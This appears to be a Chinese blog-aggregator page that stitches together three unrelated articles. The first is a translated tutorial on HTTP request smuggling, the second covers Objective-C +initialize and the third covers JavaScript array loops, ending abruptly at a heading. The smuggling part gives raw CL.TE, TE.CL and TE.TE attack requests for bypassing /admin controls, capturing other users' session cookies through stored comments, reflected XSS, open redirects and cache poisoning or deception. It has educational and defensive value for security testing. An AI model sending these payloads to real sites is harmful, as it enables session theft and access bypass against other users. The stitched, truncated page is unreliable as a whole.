    现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。

    当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示:


    如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。

    HTTP 请求走私漏洞是怎么产生的

    绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。

    Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \r\n,然后是分块内容,后面也是 \r\n。消息的终止分块也是同样的格式,只是其长度为零。例如:

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked

    b
    q=smuggling
    0

    由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length 和 Transfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因:

    • 某些服务器不支持请求中的 Transfer-Encoding 头。
    • 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。

    如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。

    如何进行 HTTP 请求走私攻击

    请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length 和 Transfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为:

    • CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。
    • TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。
    • TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

    CL.TE 漏洞

    前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 13
    Transfer-Encoding: chunked

    0

    SMUGGLED

    前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。

    后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。

    TE.CL 漏洞

    前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 3
    Transfer-Encoding: chunked

    8
    SMUGGLED
    0

    注意:上面的 0 后面还有 \r\n\r\n 。

    前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。

    后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\r\n,而剩下的部分将不会处理,并视为下一个请求的开始。

    TE.TE 混淆 TE 头

    前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

    混淆 Transfer-Encoding 头的方式可能无穷无尽。例如:

    Transfer-Encoding: xchunked

    Transfer-Encoding : chunked

    Transfer-Encoding: chunked
    Transfer-Encoding: x

    Transfer-Encoding:[tab]chunked

    [space]Transfer-Encoding: chunked

    X: X[\n]Transfer-Encoding: chunked

    Transfer-Encoding
    : chunked

    这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。

    根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE 或 TE.CL 漏洞相同。

    如何防御 HTTP 请求走私漏洞

    当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下:

    • 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。
    • 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。
    • 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。

    在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。


    查找 HTTP 请求走私漏洞

    在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。

    计时技术

    检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。

    使用计时技术查找 CL.TE 漏洞

    如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 4

    1
    A
    X

    前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\r\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\r\n 。这就会导致明显的响应延迟。

    使用计时技术查找 TE.CL 漏洞

    如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 6

    0

    X

    前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\r\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。

    注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。

    使用差异响应确认 HTTP 请求走私漏洞

    当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求:

    • 一个攻击请求,旨在干扰下一个请求的处理。
    • 一个正常请求。

    如果对正常请求的响应包含预期的干扰,则漏洞被确认。

    例如,假设正常请求如下:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。

    攻击请求则取决于请求走私是 CL.TE 还是 TE.CL 。

    使用差异响应确认 CL.TE 漏洞

    为了确认 CL.TE 漏洞,你可以发送如下攻击请求:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 49
    Transfer-Encoding: chunked

    e
    q=smuggling&x=
    0

    GET /404 HTTP/1.1
    Foo: x

    如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示:

    GET /404 HTTP/1.1
    Foo: xPOST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

    使用差异响应确认 TE.CL 漏洞

    为了确认 TE.CL 漏洞,你可以发送如下攻击请求:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 4
    Transfer-Encoding: chunked

    7c
    GET /404 HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144

    x=
    0

    如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为:

    GET /404 HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 146

    x=
    0

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

    注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项:

    • “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。
    • “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。
    • 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。
    • 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
    • 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。

    利用 HTTP 请求走私漏洞

    在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。

    利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制

    在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。

    假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。

    假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:

    POST /home HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 62
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    Host: vulnerable-website.com
    Foo: xGET /home HTTP/1.1
    Host: vulnerable-website.com

    前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home 和 /admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

    前端服务器(转发服务)对请求重写

    在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:

    • 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。
    • 添加 X-Forwarded-For 头用来标记用户的 IP 地址。
    • 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。
    • 添加一些其他攻击感兴趣的敏感信息。

    在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。

    通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:

    • 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。
    • 随机排列参数,以使反映的参数出现在消息体的最后。
    • 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。

    假设应用程序有个登录的功能,其会反映 email 参数:

    POST /login HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28

    email=wiener@normal-user.net

    响应内容包括:

    <input id="email" value="wiener@normal-user.net" type="text">

    此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 130
    Transfer-Encoding: chunked

    0

    POST /login HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100

    email=POST /login HTTP/1.1
    Host: vulnerable-website.com
    ...

    前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:

    <input id="email" value="POST /login HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-For: 1.3.3.7
    X-Forwarded-Proto: https
    X-TLS-Bits: 128
    X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
    X-TLS-Version: TLSv1.2
    x-nr-external-service: external
    ...

    注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。

    一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。

    捕获其他用户的请求

    如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。

    要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。

    假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 154
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

    你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:

    GET / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 324

    0

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

    当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
    Host: vulnerable-website.com
    Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
    ...

    最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。

    注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受害用户的请求是直到第一个 & 之间的内容。

    使用 HTTP 请求走私进行反射型 XSS 攻击

    如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:

    • 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。
    • 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。

    假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 63
    Transfer-Encoding: chunked

    0

    GET / HTTP/1.1
    User-Agent: <script>alert(1)</script>
    Foo: X

    此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。

    利用 HTTP 请求走私将站内重定向转换为开放重定向

    许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:

    GET /home HTTP/1.1
    Host: normal-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/

    通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 54
    Transfer-Encoding: chunked

    0

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: X

    走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /scripts/include.js HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/

    此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。

    利用 HTTP 请求走私进行 web cache poisoning

    上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。

    在这种变体攻击中,攻击者发送以下内容到前端服务器:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 59
    Transfer-Encoding: chunked

    0

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /static/include.js HTTP/1.1
    Host: vulnerable-website.com

    后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:

    /static/include.js:

    GET /static/include.js HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/

    从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。

    利用 HTTP 请求走私进行 web cache poisoning

    另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。

    web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?

    • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。
    • 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。

    这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 43
    Transfer-Encoding: chunked

    0

    GET /private/messages HTTP/1.1
    Foo: X

    来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:

    GET /private/messages HTTP/1.1
    Foo: XGET /static/some-image.png HTTP/1.1
    Host: vulnerable-website.com
    Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
    ...

    后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:

    GET /static/some-image.png HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 200 Ok
    ...
    <h1>Your private messages</h1>
    ...

    然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。

    这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。


    原文链接:https://segmentfault.com/a/1190000039332580

    收起阅读 »

    iOS Cateogry的深入理解&&initialize方法调用理解

    上一篇文章我们讲到了load方法,今天我们来看看initialize新建项目,新建类   类结构图如下将原来的load方法换成initialize先告诉大家initialize方法调用的时间,以便大家带着答案去理解initialize:在类第一次接收...
    继续阅读 »
    • 上一篇文章我们讲到了load方法,今天我们来看看initialize

    新建项目,新建类   类结构图如下


    将原来的load方法换成initialize


    先告诉大家initialize方法调用的时间,以便大家带着答案去理解initialize:在类第一次接收到消息的时候调用,它区别于load(运行时加载类的时候调用),下面我们来深入理解initialize

    相信大家在想什么叫第一次接收消息了,我们回到main()



    运行程序,输出结果:



    说明:NSLog(@"---")是由于我建的是命令行工程,不写这个,貌似不能显示控制台,Xcode版本是12,当然你们的要显示控制台,直接去掉这行代码

    从输出结果可以看到没有任何关于initialize的打印,程序直接退出

    • 2.initialize的打印
    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    [TCPerson alloc];
    }
    return 0;
    }


    运行结果:
    2020-12-04 14:59:17.417072+0800 TCCateogry[1616:79391] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0

    从上面的输出结果我们可以看到,TCPerson (TCtest2) +initialize打印

    load是直接函数指针直接调用,类,分类,继承等等

    [TCPerson alloc]就是相当于该类发送消息,但是它只会调用类,分类的其中一个(取决于编译顺序,从输出结果可以看出,initialize走的是objc_msgSend,而load直接通过函数指针直接调用,所以initialize通过isa方法查找调用

    多次向TCPerson发送消息的输出结果
    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    [TCPerson alloc];
    [TCPerson alloc];
    [TCPerson alloc];
    [TCPerson alloc];
    }
    return 0;
    }

    输出结果:
    2020-12-04 15:11:12.246442+0800 TCCateogry[1659:85317] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0

    initialize只会调用一次

    我们再来看看继承关系中,initialize的调用

    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCStudent alloc];

    }
    return 0;
    }

    输出结果:

    2020-12-04 15:14:58.705423+0800 TCCateogry[1705:87507] TCPerson (TCtest2) +initialize
    2020-12-04 15:14:58.705750+0800 TCCateogry[1705:87507] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0
    从输出结果来看,子类调用initialize之前,会先调用父类的initialize,再调用自己的initialize,当然无论父类调用initialize,还是子类调用initialize,如果有多个分类(这里指的是父类调用父类的分类,子类调用子类的分类),调用initialize取决于分类的编译顺序(调用后编译分类中的initialize,类似于压栈,先进后出),值得注意的是,无论父类子类的initialize,都只调用一次

    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson alloc];
    [TCPerson alloc];
    [TCStudent alloc];
    [TCStudent alloc];
    }
    return 0;
    }

    输出结果:

    020-12-04 15:23:27.168243+0800 TCCateogry[1731:91248] TCPerson (TCtest2) +initialize
    2020-12-04 15:23:27.168601+0800 TCCateogry[1731:91248] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0

    如果子类(子类的分类也不实现)不实现initialize,则父类的initialize就调用多次

    #import "TCStudent.h"

    @implementation TCStudent
    //+ (void)initialize{
    // NSLog(@"TCStudent +initialize");
    //}
    @end
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson alloc];
    [TCStudent alloc];
    }
    return 0;
    }


    输出结果:

    2020-12-04 15:37:09.055459+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
    2020-12-04 15:37:09.055775+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0


    如果子类(子类的分类实现initialize)不实现initialize,则子类的initialize不会调用,调用子类分类的initialize(当然多个分类的话,调用哪个的initialize取决于编译顺序)

    #import "TCStudent.h"

    @implementation TCStudent
    + (void)initialize{
    NSLog(@"TCStudent +initialize");
    }
    @end
    #import "TCStudent+TCStudentTest1.h"

    @implementation TCStudent (TCStudentTest1)
    + (void)initialize{
    NSLog(@"TCStudent (TCStudentTest1) +initialize");
    }
    @end#import "TCStudent+TCStudentTest2.h"

    @implementation TCStudent (TCStudentTest2)
    + (void)initialize{
    NSLog(@"TCStudent (TCStudentTest2) +initialize");
    }
    @end
    输出结果:

    2020-12-04 15:41:21.863260+0800 TCCateogry[1868:100750] TCPerson (TCtest2) +initialize
    2020-12-04 15:41:21.863568+0800 TCCateogry[1868:100750] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0

    作者:枫紫_6174
    链接:https://www.jianshu.com/p/f0150edc0f42




    收起阅读 »

    JS 中循环遍历数组方式总结

    本文比较并总结遍历数组的四种方式:for 循环:for (let index=0; index < someArray.length; index++) { const elem = someArray[index]; // ··· }...
    继续阅读 »

    本文比较并总结遍历数组的四种方式:

    • for 循环:
    for (let index=0; index < someArray.length; index++) {
    const elem = someArray[index];
    // ···
    }
    • for-in 循环:
    for (const key in someArray) {
    console.log(key);
    }
    • 数组方法 .forEach()
    someArray.forEach((elem, index) => {
    console.log(elem, index);
    });
    • for-of 循环:
    for (const elem of someArray) {
    console.log(elem);
    }

    for-of 通常是最佳选择。我们会明白原因。


    for 循环 [ES1]

    JavaScript 中的 for 循环很古老,它在 ECMAScript 1 中就已经存在了。for 循环记录 arr 每个元素的索引和值:

    const arr = ['a', 'b', 'c'];
    arr.prop = 'property value';

    for (let index=0; index < arr.length; index++) {
    const elem = arr[index];
    console.log(index, elem);
    }

    // Output:
    // 0, 'a'
    // 1, 'b'
    // 2, 'c'

    for 循环的优缺点是什么?

    • 它用途广泛,但是当我们要遍历数组时也很麻烦。
    • 如果我们不想从第一个数组元素开始循环时它仍然很有用,用其他的循环机制很难做到这一点。

    for-in循环 [ES1]

    for-in 循环与 for 循环一样古老,同样在 ECMAScript 1中就存在了。下面的代码用 for-in 循环输出 arr 的 key:

    const arr = ['a', 'b', 'c'];
    arr.prop = 'property value';

    for (const key in arr) {
    console.log(key);
    }

    // Output:
    // '0'
    // '1'
    // '2'
    // 'prop'

    for-in 不是循环遍历数组的好方法:

    • 它访问的是属性键,而不是值。
    • 作为属性键,数组元素的索引是字符串,而不是数字。
    • 它访问的是所有可枚举的属性键(自己的和继承的),而不仅仅是 Array 元素的那些。

    for-in 访问继承属性的实际用途是:遍历对象的所有可枚举属性。

    数组方法 .forEach() [ES5]

    鉴于 for 和 for-in 都不特别适合在数组上循环,因此在 ECMAScript 5 中引入了一个辅助方法:Array.prototype.forEach()

    const arr = ['a', 'b', 'c'];
    arr.prop = 'property value';

    arr.forEach((elem, index) => {
    console.log(elem, index);
    });

    // Output:
    // 'a', 0
    // 'b', 1
    // 'c', 2

    这种方法确实很方便:它使我们无需执行大量操作就能够可访问数组元素和索引。如果用箭头函数(在ES6中引入)的话,在语法上会更加优雅。

    .forEach() 的主要缺点是:

    • 不能在它的循环体中使用 await
    • 不能提前退出 .forEach() 循环。而在 for 循环中可以使用 break

    中止 .forEach() 的解决方法

    如果想要中止 .forEach() 之类的循环,有一种解决方法:.some() 还会循环遍历所有数组元素,并在其回调返回真值时停止。

    const arr = ['red', 'green', 'blue'];
    arr.some((elem, index) => {
    if (index >= 2) {
    return true; // 中止循环
    }
    console.log(elem);
    //此回调隐式返回 `undefined`,这
    //是一个伪值。 因此,循环继续。
    });

    // Output:
    // 'red'
    // 'green'

    可以说这是对 .some() 的滥用,与 for-of 和 break 比起来,要理解这段代码并不容易。

    for-of 循环 [ES6]

    for-of 循环在 ECMAScript 6 开始支持:

    const arr = ['a', 'b', 'c'];
    arr.prop = 'property value';

    for (const elem of arr) {
    console.log(elem);
    }
    // Output:
    // 'a'
    // 'b'
    // 'c'

    for-of 在循环遍历数组时非常有效:

    • 用来遍历数组元素。
    • 可以使用 await

    • 甚至可以将 break 和 continue 用于外部作用域。

    for-of 和可迭代对象

    for-of 不仅可以遍历数组,还可以遍历可迭代对象,例如遍历 Map:

    const myMap = new Map()
    .set(false, 'no')
    .set(true, 'yes')
    ;
    for (const [key, value] of myMap) {
    console.log(key, value);
    }

    // Output:
    // false, 'no'
    // true, 'yes'

    遍历 myMap 会生成 [键,值] 对,可以通过对其进行解构来直接访问每一对数据。

    for-of 和数组索引

    数组方法 .entries() 返回一个可迭代的 [index,value] 对。如果使用 for-of 并使用此方法进行解构,可以很方便地访问数组索引:

    const arr = ['chocolate', 'vanilla', 'strawberry'];

    for (const [index, elem] of arr.entries()) {
    console.log(index, elem);
    }
    // Output:
    // 0, 'chocolate'
    // 1, 'vanilla'
    // 2, 'strawberry'

    总结

